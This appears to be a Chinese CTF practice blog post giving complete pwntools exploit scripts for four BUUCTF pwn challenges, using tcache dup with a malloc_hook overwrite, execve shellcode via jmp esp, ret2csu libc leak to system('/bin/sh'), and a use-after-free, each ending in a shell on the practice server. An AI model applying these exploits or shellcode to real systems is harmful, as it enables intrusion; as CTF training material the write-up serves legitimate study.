PWN-PRACTICE-BUUCTF-18

  • ciscn_2019_final_3
  • ciscn_2019_s_9
  • jarvisoj_level5
  • pwnable_hacknote

ciscn_2019_final_3

tcache dup
参考:[V&N2020 公开赛]easyTHeap + ciscn_2019_final_3 ——heap中tcache的一些简单利用方法

# -*- coding:utf-8 -*-
from pwn import *
context.log_level="debug"
#io=process("./ciscn_final_3")
io=remote("node4.buuoj.cn",27750)
elf=ELF("./ciscn_final_3")
libc=ELF("./libc.so.6")def add(index,size,content):io.sendlineafter("choice > ","1")io.sendlineafter("input the index\n",str(index))io.sendlineafter("input the size\n",str(size))io.sendlineafter("write something\n",content)
def free(index):io.sendlineafter("choice > ","2")io.sendlineafter("input the index\n",str(index))#gdb.attach(io)
#pause()add(0,0x78,"aaaa")
io.recvuntil("gift :0x")
addr=int(io.recvuntil("\n")[:-1],16)
print("addr=="+hex(addr))
add(1,0x18,"bbbb")
add(2,0x78,"cccc")
add(3,0x78,"cccc")
add(4,0x78,"cccc")
add(5,0x78,"cccc")
add(6,0x78,"cccc")
add(7,0x78,"cccc")
add(8,0x78,"cccc")
add(9,0x78,"cccc")
add(10,0x78,"cccc")
add(11,0x78,"cccc")
add(12,0x28,"cccc")#pause()free(12)#pause()free(12)#pause()add(13,0x28,p64(addr-0x10))#pause()add(14,0x28,p64(addr-0x10))#pause()add(15,0x28,p64(0)+p64(0x421))#pause()free(0)#pause()free(1)#pause()add(16,0x78,"abcd")#pause()add(17,0x18,"1234")#pause()add(18,0x18,"5678")#pause()io.recvuntil("gift :0x")
libc_base=int(io.recvuntil("\n")[:-1],16)-0x3ebca0
malloc_hook=libc_base+libc.sym["__malloc_hook"]
print("malloc_hook=="+hex(malloc_hook))
one_gadget=libc_base+0x10a38c
print("one_gadget=="+hex(one_gadget))#pause()free(6)
free(6)#pause()add(19,0x78,p64(malloc_hook))
add(20,0x78,p64(malloc_hook))#pause()add(21,0x78,p64(one_gadget))#pause()io.sendlineafter("choice > ","1")
io.sendlineafter("input the index\n","22")
io.sendlineafter("input the size\n","0")#pause()io.interactive()

ciscn_2019_s_9

保护几乎全没开,无NX,堆栈可执行
利用hint的jmp esp实现ret2shellcode

from pwn import *
#io=process('./ciscn_2019_s_9')
io=remote("node4.buuoj.cn",29490)
jmp_esp=0x8048554
shellcode="\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
payload=shellcode.ljust(0x24,'\x00')+p32(jmp_esp)
payload+=asm("sub esp,40;call esp")
io.sendline(payload)
io.interactive()

jarvisoj_level5

栈溢出,ret2csu

from pwn import *
#context.log_level='debug'
#io=process('./jarvisoj_level5')
io=remote("node4.buuoj.cn",28595)
elf=ELF('./jarvisoj_level5')
libc=ELF('./libc-2.23-x64.so')
part1=0x4006AA
part2=0x400690
write_plt=elf.plt['write']
write_got=elf.got['write']
read_got=elf.got['read']
main_addr=elf.sym['main']
pop_rdi=0x4006b3
io.recvuntil('Input:\n')
payload='a'*(0x80+8)
def com_gadget(part1, part2, jmp2, arg1 = 0x0, arg2 = 0x0, arg3 = 0x0):payload  = p64(part1)            # part1 entry pop_rbx_rbp_r12_r13_r14_r15_retpayload += p64(0x0)          # rbx must be 0x0payload += p64(0x1)          # rbp must be 0x1payload += p64(jmp2)         # r12 jump topayload += p64(arg3)         # r13  -> rdx    arg3payload += p64(arg2)          # r14  -> rsi    arg2payload += p64(arg1)          # r15d -> edi    arg1payload += p64(part2)         # part2 entry will call [r12+rbx*0x8]payload += 'A' * 56           # junk 6*8+8=56return payload
payload+=com_gadget(part1,part2,write_got,1,read_got,8)
payload+=p64(main_addr)
io.sendline(payload)
read_addr=u64(io.recv(6).ljust(8,'\x00'))
print(hex(read_addr))
libc_base=read_addr-libc.sym['read']
system=libc_base+libc.sym['system']
binsh=libc_base+libc.search('/bin/sh\x00').next()
io.recvuntil('Input:\n')
payload='a'*(0x80+8)+p64(pop_rdi)+p64(binsh)+p64(system)+p64(main_addr)
io.sendline(payload)
io.interactive()

pwnable_hacknote

UAF,参考:pwnable.tw 堆一hacknote

# -*- coding:utf-8 -*-
from pwn import *
#context.log_level="debug"
#io=process("./hacknote")
io=remote("node4.buuoj.cn",29535)
elf=ELF("./hacknote")
libc=ELF("./libc-2.23-16-x32.so")
read_got=elf.got["read"]def add(size,content):io.sendlineafter("Your choice :","1")io.sendlineafter("Note size :",str(size))io.sendlineafter("Content :",content)
def delete(index):io.sendlineafter("Your choice :","2")io.sendlineafter("Index :",str(index))
def show(index):io.sendlineafter("Your choice :","3")io.sendlineafter("Index :",str(index))
def exit():io.sendlineafter("Your choice :","4")add(0x18,"aaaa")#0
add(0x18,"bbbb")#1
delete(0)
delete(1)
add(0x8,p32(0x0804862B)+p32(read_got))
show(0)
read_addr=u32(io.recv(4))
print("read_addr=="+hex(read_addr))
libc_base=read_addr-libc.sym["read"]
system=libc_base+libc.sym["system"]
delete(2)
add(0x8,p32(system)+";sh")
show(0)
io.interactive()

PWN-PRACTICE-BUUCTF-18相关推荐

  1. IT类英文电子书存档页面

    为什么80%的码农都做不了架构师?>>>    http://www.salttiger.com/archives/ 目前我主要在以下两个网站收集编程类的电子书,在这上面找不到的书, ...

  2. Shellcode拷贝文件

    #include "stdafx.h"int _tmain(int argc, _TCHAR* argv[]) {// 最终shellcode_asm{noppush ebpmov ...

  3. 持续更新 BUUCTF——PWN(一)

    文章目录 前言 test_your_nc rip warmup_csaw_2016 ciscn_2019_n_1 pwn1_sctf_2016 jarvisoj_level0 [第五空间2019 决赛 ...

  4. BUUCTF Pwn warmup

    BUUCTF Pwn warmup 1.题目下载地址 2.checksec检查保护 3.IDA静态分析 4.exp 1.题目下载地址 点击下载题目 2.checksec检查保护 啥都没开,果然是war ...

  5. 持续更新 BUUCTF——PWN(二)

    文章目录 前言 0ctf_2017_babyheap ciscn_2019_s_9 hitcon2014_stkof roarctf_2019_easy_pwn picoctf_2018_shellc ...

  6. [PWN] BUUCTF jarvisoj_fm

    [PWN] BUUCTF jarvisoj_fm 按照惯例checksec ,开启了relro,canary,nx 执行程序,观察程序的逻辑,在打印出输入的字符后,会打印出3! 32IDA打开查看主要 ...

  7. BUUCTF PWN 刷题 1-15题

    1 rip 经典栈溢出漏洞. from pwn import *p = remote('node4.buuoj.cn', 27181)payload = b'a' * 23 + p64(0x40118 ...

  8. BUUCTF PWN rip1 WP

    BUUCTF   PWN   rip 1 这是一个WP,也是一个自己练习过程的记录. 先把文件放入pwn机中检查一下,发现并没有开启保护,所以应该是一道简单题 我们运行一下试试,它让你输入一段字符然后 ...

  9. 持续更新 BUUCTF——PWN(三)

    文章目录 前言 axb_2019_heap oneshot_tjctf_2016 护网杯_2018_gettingstart wustctf2020_number_game zctf2016_note ...

  10. buuctf pwn bjdctf_2020_babyrop

    buuctf pwn bjdctf_2020_babyrop 1.checksec 2.IDA分析 ropper 3.exp 1.checksec 运行一下 2.IDA分析 这里调用了vuln函数 我 ...

最新文章

  1. LockSettingsService的setLockCredentialInternal函数详解
  2. !!从中位数市盈率看目前市场位置
  3. CRC16循环冗余校验 RTU-MODBUS标准 Linux C
  4. flask 必知必会
  5. 理论基础 —— 查找 —— 插值查找
  6. 值传递,引用传递,指针传递
  7. Spring boot Scheduled 配置
  8. 【Kafka】Kafka Consumer 管理 Offset 原理
  9. 一个按钮控制暂停和开始java_《第一炉香》|一个女人的自甘堕落,从控制不住欲望开始...
  10. Qt中的串口编程之一
  11. 【操作系统实验】设备驱动(Linux环境下)
  12. 怎么修改html游戏存档,星露谷物语存档修改方法 如何修改游戏存档
  13. 预约洗车/美容/维修/家政/保养/上门洗车预约小程序源码及管理系统
  14. (CCTV2视频)中国动画80年
  15. win7 ie11 uninstall卸载
  16. 关于Verilog 写法
  17. android画布裁剪圆角,Android 视图圆角化处理方案
  18. JavaScript学习笔记(二)
  19. YOLOv3目标检测算法——通俗易懂的解析
  20. 一幅长文细学HTML5

热门文章

  1. LR通过SiteScope监控mysql
  2. 阻止页面双击选中文本
  3. C++ 一键关闭屏幕
  4. [hackinglab][CTF][脚本关][2020] hackinglab 脚本关 writeup
  5. [Letcode]第[34]题[JAVA][在排序数组中查找元素的第一个和最后一个位置][暴力][二分]
  6. [Linux]Ubuntu 以管理员权限打开文件夹
  7. LIS 的 n*log 算法 ———二分维护
  8. python将excel日期比大小_sql与excel、python比较(二)——日期和时间函数
  9. matlab程序设计图像匹配,灰度,归一化算法,快速匹配。有代码好用。转载
  10. 在java中goto是意思,关于Java中的goto语句